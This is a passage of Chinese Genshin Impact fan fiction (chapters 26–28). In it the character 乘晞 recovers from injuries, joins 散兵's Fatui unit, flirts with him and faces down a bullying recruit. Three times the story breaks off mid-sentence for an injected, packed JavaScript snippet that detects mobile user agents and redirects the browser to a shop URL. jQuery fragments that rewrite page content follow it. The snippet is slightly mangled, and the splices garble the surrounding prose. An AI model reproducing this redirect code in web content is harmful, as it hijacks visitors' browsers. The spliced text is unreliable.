直到人全部到齐,散兵才放下手臂,指向身后的房间。他简单说明缘由,要他们去房间内治疗。 众人抱着既忐忑又好奇的心情推开门,才有了先前的那一幕。 乘晞原以为不同元素会相互反应,但这些被治疗师所操控的元素力,却如同有意识一般,彼此之间泾渭分明,源源不断汇入他的身体。 乘晞闭眼感受了一会,不知不觉中睡了过去。 见银发少年眼帘合上,呼吸逐渐均匀,有人抬手给他套了个隔音的岩元素罩。 这个时候他们才分出心思聊天:“好重的伤。” “多半都是遗迹巨械干的,看着就头皮发麻。” “真是吓死了,他又没有神之眼,到底是怎么扛下来的……他这种情况,能活着回来的概率比我明天彩票中头奖还低。” “小伤大伤无数,还有一处致命伤……大概只有医学奇迹才能解释吧。” “什么地方能有这么多魔物?” 知情者解释,“招新试炼。” “所以他就是那个‘丧命于秘境的榜一’?” “上个任务你没跟我们一起去吧,这位是大人出任务的时候从外面带回来的。” “咱们大人带回来的?”没人能够拒绝八卦,“请细说。” 在知情者七嘴八舌的讲述下,不知情者也对乘晞的壮举有了了解。 听完之后,他们望向银发少年的眼神中都带了些敬畏。这位胆子可真大,也难怪在试炼秘境里举出惊人。旁人都不敢靠近执行官大人附近三尺,这位居然屡次靠近不说,还对执行官大人倾情告白! “其实……”老实人听了半天,没忍住开口,“大人和乘晞的关系,远比你们所以为的要……嗯,亲密许多。” 八卦者探头:“你听起来了解什么内情?请讲出你的故事。” “我还是长话短说。”老实人还记得自己是因为什么被调去的后勤,现在长了点教训。 八卦者坚持:“不不,你可以短话长说。” 老实人得到鼓励,分享欲作祟,同意了对方的请求:“那日任务执行完毕,回程路上,车队遭遇深渊魔物。我急于向散兵大人汇报,掀开对方的车帘,却见到——” 他绘声绘色描述:“散兵大人将乘晞压在车窗旁,几乎整个人覆在对方身上,留不得一点空隙……喘息声音交织……银发少年似乎难以承受……” 沉睡中的乘晞并不知道,自己的风评就这样被人败坏。 26.26 乘晞一觉睡到了第二天下午。 睁开眼的时候,房间内被照的透亮,但这光线并不刺眼。窗扇被浅色的纱帘遮挡,落入窗口的日光也朦胧。 乘晞依稀记得,昨晚窗上拉着的还是厚重的遮光帘。床旁备了温水和糖果,还有一叠软口的糕点。 也不知道什么人这么贴心。乘晞感叹着,从床上坐起了身。 得益于治疗师们的帮助,乘晞即便昨晚还身负重伤,今天就已经能独立下床了。除了形象受到一定影响——他身上缠了很多纱布,走起来活像一个移动版木乃伊。 乘晞移动到外面的时候,遇见了杰卡德。 对方见到他瞪大眼睛:“你你你……你怎么出来的?” 乘晞:“当然是走出来的。” 杰卡德在乘晞身边一顿稀奇,惊叹对方的恢复速度简直反人类。 有人很自来熟的和乘晞打了招呼,随后揶揄杰卡德这个兼职的治疗师。 昨晚进行抢救的时候,治疗师们就发现了,乘晞的伤虽然看着触目惊心,但实际并没有威胁性命。 按理来讲,这种失血量放在寻常人身上早该没命了、尤其还有一处致命伤,但在魔力查探之下,乘晞的状态并没有那么糟糕。 “就挺神奇的,生理层面和元素层面对不上账。” 乘晞心说那就对了。 他在秘境里晕倒是因为伤重,但有面板道具在,生命值始终能在概念层面得到回复。至于被送出秘境这段时间的昏迷,是因为他过度调用面板,力量透支才失去的意识。 当然,治疗师们并不清楚乘晞身怀游戏面板的秘密,只将原因归为他体质特殊。 “不许这么叫我!”杰卡德不爽,“都怪珍妮丝那家伙,她给我起这个外号,你们一个个都跟着叫。” “话说珍妮丝去哪里了?怎么没见到她。” “她不是心里过意不去嘛,找过散兵大人汇报之后,就去和人切磋体术了。” 众人聊了几句,决定留给珍妮丝独处的空间,让对方安心发泄情绪。 听到这里,乘晞便问,“散兵大人现在在什么地方?我也准备去找他。” 两人很不见外的告诉了乘晞地点,并主动说自己看可以带路。 “大人平常没什么特殊事情的话,一般都在办公……” 几人聊着,绕进了一栋建筑。 “但是悄悄告诉你,”杰卡德小声道,“大人心情似乎不太好。” “确实,”旁人附和,“你要不是什么要紧的事情,可以换个时候再说,免得触他霉头。” 显然,这些提醒并不会令乘晞望而却步。 他叫两人放心,敲了敲后把门推开。 散兵看着门板边缘扒着几根手指,随后伸出一截手臂,然后探出一颗头:“……” 他面无表情的与乘晞对视:“做贼呢?” “是的。”乘晞深情款款,“请问这位先生,我可以偷走你的心吗?” 散兵没好气:“那种东西我没有。” 确实,他是人偶,并不具备心脏。乘晞的土味情话从未遭遇过如此滑铁卢,闻言暗自懊悔,怎么自己生个病把脑子也搞糊涂了。 散兵很少见到对方这种模样,觉得有意思,多看了几眼。 门被散兵隔空关上,把胆大包天试图听墙角的杰卡德鼻子给拍扁。 乘晞也跟着回神,三两步上前,凑近散兵竖起手指:“之前那种铤而走险的行为,我保证不会再有下次了。” 散兵:“你最好对自己的可信度有点自知之明。” 毕竟这个家伙上次向他保证会有分寸,转头就不知死活的去挑衅博士。 话虽这样说,他还是推了把椅子过来。 乘晞坐下以后,解释说自己在秘境里受伤又与魔物接触,多半受到了逸散的深渊力量影响,才会变得行事莽撞。 散兵不置可否。 论与深渊打交道,恐怕没人能比他更在行。深渊侵染的确会影响人的心神,但多半概率是无限放大已经产生的念头,使个体逐渐失去理智。也就是说,这家伙从参与试炼的时候就想过要争榜首了。 一方面散兵觉得,这家伙豁出性命也要争名次的行为,不太像间谍或者卧底的作风,另一方面对方的来处始终成谜,身份又有诸多疑点,他终究没有办法全然放下戒心。 散兵从边陲小镇离开后,始终没有放弃过调查乘晞。但派出去的人也查不到任何有用的信息,仿佛这家伙就是凭空出现的一般。由此可见,背后那个帮助乘晞隐藏身份信息的组织道行颇深。 早些时候珍妮丝和他汇报过这几日的见闻,说试炼前就有人想和乘晞组队,但乘晞都拒绝掉了,也没办法确定这些人究竟是否与乘晞暗中联系。至于秘境内的经历,珍妮丝在复盘后也察觉了几个疑点,比如秘境里巧合再遇的三人、丘丘营地里莫名发狂的魔物、仿佛能精准追踪他们动向的遗迹守卫、转移到云雀身上的定位装置。 这些谜团,或许只能从乘晞身上寻找答案——如果对方肯说真话的话。 散兵冷不防开口:“你知道自己被跟踪了么。” 乘晞下意识朝四周看,“什么时候的事?”他可别把什么图谋不轨的人给带到散兵这里。 “试炼秘境里。”散兵回答,留意着银发少年表情的任何细微变化。 乘晞脸上的疑惑不似作伪:“啊?” 他回忆着自己在秘境里的经历,“什么人会想跟踪我……” 散兵没给对方思考的时间:“我。” 简单一个字,抛出的信息量巨大。 这是个刁钻的试探,如果对方对自己身上的定位片有印象的话,即便回答上一个问题时滴水不漏,骤然听见他摊牌,也多少会露出些破绽。 乘晞的反应却丝毫不在散兵预想之内。 银发少年含情脉脉、掷地有声:“我愿意。” 散兵:“…………?” 他无语了好一阵,将自己派珍妮丝进入秘境的事情如实相告。 乘晞听完茅塞顿开:“原来珍妮丝是真珍妮丝,贾妮丝是假珍妮丝。” 也难怪他对对方的印象差不起来,敢情是个熟人。 随后他向散兵告状,把自己在金瑞拉身上栽的跟头讲了一遍,还不忘痛斥背后的博士。 滔滔不绝输出了一长串后,乘晞正色看向对方:“其实,我还有一件事要告诉你。” 散兵原本在思索什么,闻言看过来。 “我是个降临者。”乘晞说。 如今他成功通过试炼,加入愚人众指日可待,也不再有顾忌将自己的身份告知对方。 散兵怔了一下:“这种事情你怎么能随便讲。” 也不知道有点防备心理。 乘晞弯弯眼睛,“放心好啦,我又不会对其他人说。” 散兵看着对方含笑的眉眼,忽然意识到这并不是对方第一次向他坦诚。 似乎从相遇那刻起,对方就对他有着超乎寻常的、发自内心的信任。 某个柔软的地方像被什么东西戳了一下。仿佛平静的池水落入一颗卵石,虽然无声却激起波纹,圈圈涟漪扩散,绵绵不绝。 外面忽然一阵骚乱。乘晞向窗外看去,而散兵的通讯器也在同时收到消息。 训练区那边出了些问题。散兵周身浮现出浅紫的元素力,将乘晞同时包裹。 皮肤接触到雷元素有种酥酥麻麻的感觉,但大概元素力的释放者有意控制过,这种感觉稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556740|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵即逝。 乘晞新奇的看着自己以非同寻常的速度随对方移动。 两人抵达现场时,杰卡德刚把麻醉针从珍妮丝的脖子上拔出来。 珍妮丝昨日在不该使用元素力的时候强行动用,回来后又心绪不宁,秘境中受到的深渊影响未能祛除彻底,今天与人切磋时不慎失控。 附近只有几个零星的围观者,既要解救同伴、躲避不分敌我的攻击还要担心她弄伤自己,围观者四处摇人,终于艰难的控制住场面。 但也有不少人挂彩,好在情况并不严重。这些被殃及的池鱼聚在一起,苦中作乐的比谁的状况更惨。 “珍妮丝不愧是最能打的几位之一,实力没完全恢复都这么可怕。” “她这种疯起来不要命的攻势,谁能挡得住?还好被杰卡德在关键时刻放倒。” “话说杰卡德为什么会随身携带麻醉针?” “好问题。莫非这就是治疗师的职业素养……” 驻地的治疗师都在昨夜被叫去给乘晞治疗,忙了整个通宵,现在大部分还在补觉,也不知道有没有收到消息,只有精力旺盛的杰卡德,在这边忙得脚不沾地。 乘晞看着对方恨不得长出八只手来催动水元素,没忍住展开了面板。他尝试性的对伤员使用料理,结果居然成功了。 在众人的视角中,银发少年将手虚虚笼在伤口上方,朦胧的光晕从他掌心浮现,融进对方的身体。 伤员张大嘴巴:“不疼了。” 她试着动了动伤处,已经能够活动自如,完全没有不适。若非止住血的伤口依然存在,她几乎要以为刚才发生的一切是幻觉。 黑衣人们从没见过这样的治疗,七嘴八舌的围了过来。 “这是什么魔法?” “看颜色不属于任何一种元素,也不太像符咒……” “他没有元素力,难道是什么治疗相关的特殊能力?” 旁观的散兵清楚,这大概是乘晞没向他展示过的某种天赋能力。 他看着一众下属双眼放光,围着乘晞团团转,更有甚者想当场给自己弄出伤口以体验一把特殊治疗的:“……” “你们悠着点,他也是伤员。” 有散兵发话,众人收敛了许多,但看向乘晞的表情依旧是挖到宝的神色。 “真是太酷了!”“你居然也是治疗师嘛!”“好厉害!” 乘晞点点头,“可以算是。” 他与众人说笑着,目光又落回散兵身上。 散兵面无表情的回视对方。 “散兵大人,”乘晞忽然道,“你有一点左右脸不对称。” 散兵不置可否,“所以呢?” “这是很严肃的问题,”乘晞语气认真起来,“长此以往,会影响皮下软组织的发育,甚至是骨骼的生长。” 众人都被乘晞这话唬住了:“听起来很严重的样子。” “好可怕。” “快帮我看看,我的脸对称吗?” 只有杰卡德将信将疑:“真的假的?” 乘晞坚定:“我是治疗师,信我。” 杰卡德:……难道我不是? “所以散兵大人,”乘晞又问,“你平时是不是总侧着身睡觉?” 散兵:“是又怎样。” “看,”乘晞了然道,“这就是症结所在。” “哇,”众人七嘴八舌,“睡姿居然这么重要。” “以后都别侧睡了大家。” “难道要改成仰躺着睡觉吗?” “那么乘晞大治疗师有什么建议?”散兵问。 乘晞拍拍自己胸脯:“建议你靠着我睡。” 散兵:“……” 众人:“…………” 27.27 乘晞嘚瑟了一圈自己的治疗技能,整个人都翘尾巴,还准备将传送能力也展示一番。 “给你们看个厉害的。”他把手搭到散兵身上。 散兵下意识撤身后退,但又很快重新抬起胳膊,捉住了乘晞的手腕。 乘晞决定让散兵一同体验一下面板功能。他在意识中展开面板,选了个地图上十米之外的位置,按下传送。 然而[当前状态无法传送]。 乘晞一愣,又试了几次,忽然明白过来。 类似的情况,在试炼秘境里也出现过。当时的他还以为是什么未知bug,因为不久后又能恢复使用了,但现在看来不尽如此。 秘境里的他被金瑞拉挟持,与对方有了肢体接触,而现在的他与散兵,同样存在肢体接触。这在某种程度上影响了系统的判定,才导致传送功能的故障。 见乘晞和散兵站在原地毫无变化,围观的黑衣人们相互对视,在彼此眼中看到了同样的疑惑。 这两位干什么?总不能是单纯的拉下手吧? 明明乘晞什么其他的表现都没有,但散兵大人只是垂眸看着对方,也没有离开的意思。这也太奇怪了吧…… “哇,”杰卡德率先开口,“好厉害!” 他一边惊叹,一边向周围的同僚使眼色。身为下属,该有的眼力劲不能没有! 众人也明白过来,说不准乘晞真的展示了什么厉害的技能,而这项技能只有散兵大人能够看见也不一定——不管怎么说,该捧的场一定要捧! 他们纷纷赞叹起来。 “好神奇!” “闻所未闻,见所未见!” “太厉害啦!” 末了,杰卡德率先带头鼓起掌来。 众人也跟着鼓掌。 散兵:“……” 乘晞:“…………” 在此起彼伏的掌声中,散兵瞥着乘晞,“真厉害。这是你的什么技能。” 乘晞:“皇帝的新技能。” 乘晞嘴上贫完,开始说正事:“我可以在一定距离内瞬间发生位移。可惜这项传送能力没办法带人。” “嗯。”散兵顿了一下。 又把秘密随便往外说。 乘晞这个家伙,是真的很信任他——这种放在任何人身上根本要压箱底的秘密,也都敢一五一十的告诉他知道。 而且也不是完全没有警惕心。对方很明确的表示过,这种秘密只会和他分享。令他恍然间生出一种,自己在对方的世界里是被特殊对待的错觉。 “难道没有很炫酷吗?”乘晞对散兵的反应不满意,“这可是闪现诶!” “挺好的,”散兵评价道,“方便你打不过的时候跑路。” 乘晞:“……” 伤员都被妥善处置之后,失控的珍妮丝也清醒过来,因为试炼的事情对着乘晞好一阵愧疚。 乘晞将秘境里的经历讲了,安抚对方不必自责,真有问题也该怪暗中作乱的人。 有两人的视角相互补充,很多事情都变得清楚起来。散兵想了想,“你说的那个两次遇见的灰发男人,多半是某个其他执行官派出的高层。” 愚人众对降临者较为重视,自有一套观测手段,也会派人收集相关信息。既然乘晞是降临者,可能早就落入愚人众的视线之中了,参加招新试炼被格外关注也是正常。 乘晞听了,还以为其他执行官要抢人,连忙道,“我不会去给别人打工的,只想留在你这里。” 散兵:“行。” 众黑衣人听了连连起哄:“好耶!” “还说今年没有新同事呢,这不就来了吗。” “咱们这边每年招收的都是战士,不过乘晞可以当治疗师……” 散兵看向乘晞,“你想当什么。” “还可以自选的吗,”乘晞原地许愿:“我要当散兵大人的贴身秘书!” “……” “贴身助理也可以!” “……” “或者贴身保镖!” 什么职务不重要,重要的是贴身。 散兵打量着乘晞瘦小的身板,“你?保镖?” 乘晞乖巧:“所以你可以教我习武吗,散兵大人?” 乘晞以一顿“培养下属是上司应尽的义务”的歪理邪说,成功把众人都给绕进去了。当着散兵的面,没有黑衣人敢说自己是乘晞的上司,于是乘晞如愿听到了散兵说可以。 散兵答应等他的伤完全养好就教,乘晞打定主意回去猛炫魔药。 乘晞的入职程序也很快办好。他领到了属于自己的制服、徽记和通讯器。 制服只需要在出席重要场合时穿戴,平常的衣着并不受约束。值得一提的是,乘晞原先的衣服早就在秘境里破败不堪了,他苏醒之后发现房间里放着几套色系相同样式也类似的服装,乘晞向不愿意透露姓名的散兵大人表达了感谢。 徽记是愚人众成员的身份标识,也是许多内部场所的通行凭证。乘晞将其妥善收好,随后打开崭新的通讯器。 他兴致勃勃的探索起异世界版本手机的功能来。通讯器里有很多频道,比如愚人众内部公开频道和各位执行官的频道等等。可以在群组聊天内公开发言,也可以选中某个人进行私聊。 乘晞兴冲冲的点进和散兵的聊天框,发了个打招呼的表情包。 紧接着收到了对方的自动回复: [散兵]:[自动回复:忙碌,勿扰。] 乘晞“哇”了一声,发现还有自动回复的功能,很快也给自己也设置了一个。 他在养伤的这段时间里,和周围的黑衣人都混熟了,乘晞继续通过私聊戳了每一个人,绝不是为了展示自己的自动回复。 很快他也收到了众人的回复: [珍妮丝]:[哈哈哈哈不愧是你。] [杰卡德]:[默默删除聊天内容,以免留下什么对散兵大人不敬的证据。] [马努]:[系统提示:对方截屏了当前聊天界面] [散兵]:[。] [散兵]:[……] 散兵早就收到了乘晞的消息。他看着那个圆滚滚的史莱姆探头表情包,几乎能想象出对方做这个动作的模样。 他回了个句号,表示自己已经看过,结果弹出对面的自动回复: 乘晞:[自动回复:想把裤子炫了成为炫酷的人,想把裤子冷冻成为冷酷的人,想把裤子丢掉成为执行官大人的狗/爱心/火热/飞吻] 乘晞等了半天,也没等来省略号之后弹出新消息,于是点开和散兵的聊天框。 结果看到了[系统提示:您已被对方加入黑名单]。 他只好单方面发消息一顿死缠烂打赌咒发誓,求了好一会,居然被对面从黑名单里放出来了。 [散兵]:[看起来你似乎号被盗了,我这就把你从频道里挪出去。] [乘晞]:[不要啊大人!我这就把自动回复改掉!!] [散兵]:[。] [乘晞]:[自动回复:和我一起玩游戏吧!三二一,木头人,不许动——] [散兵]:[?] [乘晞]:[哎呀我输了,因为我心动了~] 散兵瞪着聊天框,仿佛自己瞪的是屏幕对面的那个人。然后把通讯器丢到了一旁。 乘晞等不到回复,知道对方八成被无语住了,转而去探索通讯器的更多功能。 公共频道里有不少人在闲聊,招新过后有许多人都和乘晞一样初来乍到,对愚人众的工作生活充满好奇,前辈们也乐于答疑解惑。 有人提到为什么今年的新成员有不少,冒泡出来聊天的却不多,被回复那些战士多半在进行训练,大概率累到没精力闲聊。 另一个信息高速流通的地方是论坛。 频道内所有人都是实名制,大家的发言风格都相对谨慎,而论坛就不一样了。人人都有马甲,聊天内容也五花八门,上至有关神明的八卦比如[璃月的岩王帝君究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562285|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是岩龙化形还是石珀成精],下至日常生活的琐碎比如[职场救急,如何在领导面前高情商回复甩锅的同事?在线等!] 乘晞心想自己穿越前一定没少用过论坛,因为他的肌肉记忆已经开始进行屏蔽词和关键字搜索。 任何一位执行官都逃不过被八卦,当然第七席木偶除外。因为江湖传言,木偶作为通讯器和通讯系统的创造者,在论坛拥有管理员权限,大家都避免提到对方的代号与大名以防被制裁。 乘晞很快找到了与散兵相关的内容,津津有味的读了起来。 对方在不同发言者眼中的形象,也不尽相同。有人说[如果我的上司拥有像他一样的脸,我愿意每天早八上班打卡,早七早六都可以!];也有人说[对本人不熟,但他为什么总用一种看狗的眼神看人,这是我的错觉吗?] 乘晞一篇篇帖子看下去,根据讲述者写下的细节,在脑海中勾勒出许多画面: 散兵会不耐烦的挥手,驱走飞得左摇右晃落到他肩头的云雀,但也会在下雨天取来斗笠,给无处躲藏的小猫遮雨。 人前与其他执行官相遇时,他会带着假笑与博士相□□头致意,然后在转身的时候翻个不加掩饰的白眼,也会因为「队长」卡皮塔诺的亲切问候和关怀收起尖锐的棱角,感到有些难以招架。 他会在讨伐深渊魔物时大杀四方,将魔物杀得片甲不留,也会在冒失的新人撞到他身前时,给对方指出正确的行动路线。 他会在发生纠纷的会议上字字珠玑,把暗中作梗的同僚怼到哑口无言,也会在听年度总结报告的时候无聊,嫌弃的拿笔戳稿纸画王八。 他工作,他生活。嬉笑怒骂,皆成足迹。 乘晞慢慢的读,将那些只言片语描摹成记忆中的画面,仿佛也填补了在自己降临这个世界之前,散兵度过的那些时光里的细枝与末节。 虽然对方最初加入愚人众,或许并非什么愉快的决定,但无论如何,他都一步步走过了漫漫长路,成为如今鲜活的模样。 * 有通讯器作伴,乘晞修养期间过得十分充实。 于是论坛的活跃用户们发现,有个高强度冲浪的账号横空出世,在每个与散兵相关的帖子中留下足迹——议论的帖子中坚定维护,记录日常的帖子中真诚互动,夸人的帖子中连用彩虹屁排比,并且战斗力极强的把所有黑贴都骂了回去。 他们悄咪咪议论:[不是吧,今年难道有那位大人的狂热粉入职?] [谁知道呢,说不准不是新人,是老人注册的新马甲。] [闻所未闻,见所未见……] [说到底,究竟是什么人才会对那位大人这么感兴趣?明明那位大人凶名在外……] [不懂。但脑回路一定异于常人。] [在这种时候还有时间高强度上网的,肯定不是战斗类人员了,他们正忙呢。] [所以是研究人员?] [啊,那不奇怪了。] [搞科研已经足够让人破防,心理再变态一点也算正常。] [是啊,做学术的十个里面有八个是神经病。] 等乘晞的身体完全恢复,他去聊天框里戳散兵,问对方什么时候方便教自己习武。对面很快回复,发了个定位过来。 乘晞换了身便于行动的衣服,很快到达指定地点。 这是愚人众的训练区域,此刻十分热闹。往常这个时间只有驻地的旧人在,今天来了不少新面孔。这些人都是成功通过了招新试炼,成绩排名不上不下,经过一段时间的训练后成为储备队伍成员,按需分配到各位执行官麾下的。 入口附近的新兵来来往往,乘晞听着周遭此起彼伏的声音。新人们大多在谈论这几日的训练成果,也有不少在畅享未来的工作。 乘晞肩头被撞了一下。他只当是意外,侧身避开,结果就被撞了第二下。力度不轻,疼得乘晞皱眉,显然对方并非无心之举。 乘晞拽住故意撞人的那位:“你有事?” 28.28 那位一路撞过去,不少新兵在看到对方的时候,都有些畏惧的避让到一旁,没来得及避开的也没有反抗,只能暗自吃下闷亏。 撞人的大块头也因此一路畅通无阻,没想到会被一位银发少年拦住,顿时冷笑一声。 他打量着身形比自己孱弱许多的乘晞,神色不屑,“哪里来的弱鸡,也敢当我的路?” 乘晞原本想着等下就能见到散兵,心情正不错。没想到遇见了扫人兴致的神经病:“你小脑功能失调了?” 大块头没听懂乘晞在讽刺什么,但直觉不是什么好话。他伸手将乘晞推搡开来,却被对方闪身避过。 见二人冲突,周围传来窃窃私语。 集训的这段时间里,新兵们都住在一起。撞人的那位仗着自己身强体壮,还拥有元素力,在同寝的人中实力最强,平日里没少恃强凌弱。如今他从新兵营地离开,把这套行事作风也带到了驻地来。 大块头见乘晞前往训练场地,便认为对方也是新兵。定睛一看,发现对方看起来瘦弱无力,穿着的训练服却与他们的不同,做工和用料都十分精致,他不怀好意的撞了过去。 原本以为银发少年会吃瘪,却见对方灵活的避开了。大块头不爽的又出一掌,结果不但没碰到乘晞,反而碰到了对方冷不防丢出来的烈焰花花蕊。 乘晞默默展开面板背包。开玩笑,遗迹守卫他都敢硬着头皮碰一碰,这个人凭什么觉得他会忍气吞声? 欺凌不成被反伤,撞人者恼羞成怒,催动自己的水元素神之眼。 乘晞背后的空气震颤,水汽升腾,凝结出一只尖锐的水箭,径直朝他而来。 围观的新兵发出惊呼,显然没料到这人竟然嚣张到在大庭广众下大动干戈。 偷袭来得如此猝不及防,以至于他们都觉得银发少年凶多吉少,对这个素未谋面的同僚感到惋惜。 然而,在水箭触碰到银发少年的身体的前一刻,对方凭空消失了。 大块头正奇怪怎么回事,脖颈后就被冰凉的东西抵住。 一同传来的,还有银发少年的轻嗤:“不讲武德,不太好吧。” 大块头气急,也不顾自己的要害正被威胁,反手抓出水元素力再次偷袭,结果被对方一枚冰雾花花蕊直接按到脸上。 刺骨的寒意将水元素凝结,大块头痛呼一声捂住眼睛,也顾不及再对乘晞出手。 等花蕊被丢开的时候,他眼周被冻得发紫,颇为滑稽。 “真是热闹啊。”一道轻快的声音打破了寂静。 围观的新兵见到来人,仿佛终于瞧见了主心骨,纷纷松了口气。 来者身穿属于执行官的银白斗篷,他一头橘发,发间斜戴着暗红的面具,耳垂坠着同色的挂坠,领口围了圈红围巾。 少年明亮的蓝眼睛从争端的场景中扫过,落在两位当事人身上。 大块头见对方注视自己,低下头向对方问好,“公子大人。” 愚人众执行官第十一席,达达利亚,代号「公子」,是执行官中年纪最轻的一位。执行官中有几位虽然长着开起来还没成年的脸、但动辄年龄几百岁,达达利亚虽然身形高挑,却是个如假包换的少年人。 达达利亚向来崇尚热血的战斗,今年愚人众纳新的新兵训练工作也由他主持负责。储备队员的分配依据各位执行官的需求而定,由于散兵负责的公务常年与征战深渊相关,战力靠前的多半成员都被送往他的驻地。 达达利亚闲来无事,也跟了过来。他原本打是算瞧一瞧那几位拔尖的好苗子,这些天的训练成果如何,没成却想见到了害群之马。 虽然达达利亚对弱者不感兴趣,但并不代表他能够容忍恃强凌弱,对偷袭这种行为更是十分不齿。 与动乱隔着一段距离,见到偷袭的大块头催动水元素力的时候,他就准备出手了,却发现那个银发少年身法似乎不错,三两下就能将对方反制。 大块头捂脸吃痛的时候,有什么东西从他衣服里掉出来。 乘晞手疾眼快,从半空中抓住,发现是一枚棕褐色的徽记。 达达利亚掠过朝他问好的大块头,走到乘晞身旁。 乘晞便收回手中的武器,向对方致意:“公子先生。” “好身法。”达达利亚夸了一句,“对武器的理解也挺有意思,我很欣赏你。” 乘晞用来抵住大块头要害的,正是西风猎弓的弓梢。 弓不仅仅能射箭,只要使用得当,弓弦弓片皆可伤人。不起眼的弓梢,尖锐处也能够刺破人类的脖颈。 大块头见执行官大人对乘晞似乎很是青睐,生怕自己被问责,连忙指着自己手掌和脸上的伤处,指责起乘晞来。他心想自己受了这样的伤,决不能让那个银发少年也脱开干系。 “执行官大人,您一定要为我做主啊!” 乘晞还在打量手中的那枚徽记。他原本以为,同为新人,大家的徽记也是同一批。但手中的徽记与自己的那枚相比,虽然有着相似的花纹,形制却完全不同。 “士兵的徽记原来长这样吗?”乘晞小声嘀咕。 大块头指责了好一通,结果发现银发少年的注意力完全没在他这里,闻言反问道,“不然呢,你的不是这个样子?” 乘晞的当然不是。他的是红色的还镶着金边,被他放在了面板背包里。 可惜刚刚连续动用过几次面板,乘晞有些头晕,准备缓一缓再取出自己的徽记。 大块头现在收敛了全部气焰,正添油加醋的卖惨,试图请求对方追究乘晞的责任:“公子大人,我被他打伤成这样,您都看在眼里。按照条例,他应当受到处罚……” 达达利亚被吵得头大。 他觉得,这新兵前后变脸的速度十分可笑。但银发少年又确实在争端中伤到了对方,按照愚人众的相关处理条例,如果二人衔位相同,这件事情应当被定性为互殴。再者发生在公共场合围观者那么多,为了服众,即便心有偏袒也不好不按照规则办事。 撞人的那位显然也想到了这一点,对乘晞呼喝,“你也是新兵对吧?那你必须要为我受的伤负责!” “我不是负责作战的士兵。”乘晞回答。 对方显然不信,“那你是什么职位,说出来听听?” “……”乘晞一时间被问到了。 有关任职的玩笑,他之前和散兵开过,那一串要当“贴身xx”和“专属xx”的请求,无一不被对方驳回。再然后他成功办理了入职,就忙着去刷论坛了,还真的没有注意过自己在这里担任什么职位。 见乘晞回答不出来,大块头语气更加嚣张:“所以你是在撒谎吧!你心虚了!” 达达利亚见乘晞没有立即拿出徽记,以为对方并未将其带在身上,便善解人意的问,“带通讯器了没?” 愚人众的通讯器录入过持有者的资料,能够明确的查询到职级。但显然乘晞对此类功能一无所知,略带茫然的看向对方,“带了?” 达达利亚伸手:“那给我看一下。” 乘晞将通讯器递过去,看着对方在界面里一顿翻翻找找,点开了个人资料。 此时乘晞的头晕终于缓解,他调动面板把属于自己的那枚徽记取了出来。 “怎么是红色的?”大块头大惊小怪道,“别是伪造的吧,造假都不知道模仿真品!” “井底之蛙。”杰卡德挤入人群,“你没见过的更高衔位,统统就是假的是吧?” 随他一道过来的还有珍妮丝,“这是尉官徽记,在这片驻地内拥有仅次于执行官大人的一切权限。” 他们二人听闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590220|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天乘晞要习武,还是散兵亲自教,都想过来凑热闹。走到半路,听说发生了冲突,便匆匆赶过来,生怕乘晞吃亏。 但见乘晞浑身完好无损,反倒是旁边那个肿成了紫色猪头,顿时放下心来。 达达利亚也在资料里找到了职位,将通讯器递回来,有些新奇的看向乘晞,“原来你是散兵的副官呀。他不是为图身边清净,从来不设副官的吗?” 珍妮丝与杰卡德对视一眼,心说确实如此,但谁叫我们乘晞实非常人呢。 先被两位前辈反驳,后又得到执行官的亲自验证,大块头僵在原地,脸色半红半紫。 他怎么也想不到,这个看似柔弱的少年并不羸弱,甚至职级也并非与自己等同,而是高出自己太多。 “这个人怎么处理,”达达利亚问乘晞,“你可以自己决定。” “是的,你有这个权限,”杰卡德补充,“处置他是完全合法合理的。” “要把他遣返,或者开除他么?”珍妮丝问。她见乘晞还攥着对方的徽记,以为是没收了对方的徽记、有这方面打算的意思。 乘晞默默把那枚新兵徽记丢了回去。他还真没这个打算——纯粹是打怪之后捡掉落物形成肌肉记忆了。 “按照管理条例处理就好。”乘晞回答。既然对方不久前仗着条例想拉他下水,他正好遂了对方的愿。 二人职级不同,这场冲突就不是互殴,而是挑衅者自食其果,会有专人和部门进行处理,也犯不上乘晞操心。 没多久,大块头被带走,四周的围观群众也纷纷散去。 达达利亚自己的契约武器也是一张弓,还能在元素力的催动下化作双刀。“真巧,”他看向乘晞,“你的武器也是弓箭。” 达达利亚十分自来熟的走在乘晞身边,“为什么选了西风猎弓?” 据他观察,面前的银发少年并不拥有元素力,却拿着一张大幅提升元素充能效率的弓箭作为武器,属实有些违和。 乘晞讪讪:“因为……可能比较顺手。” 达达利亚:? 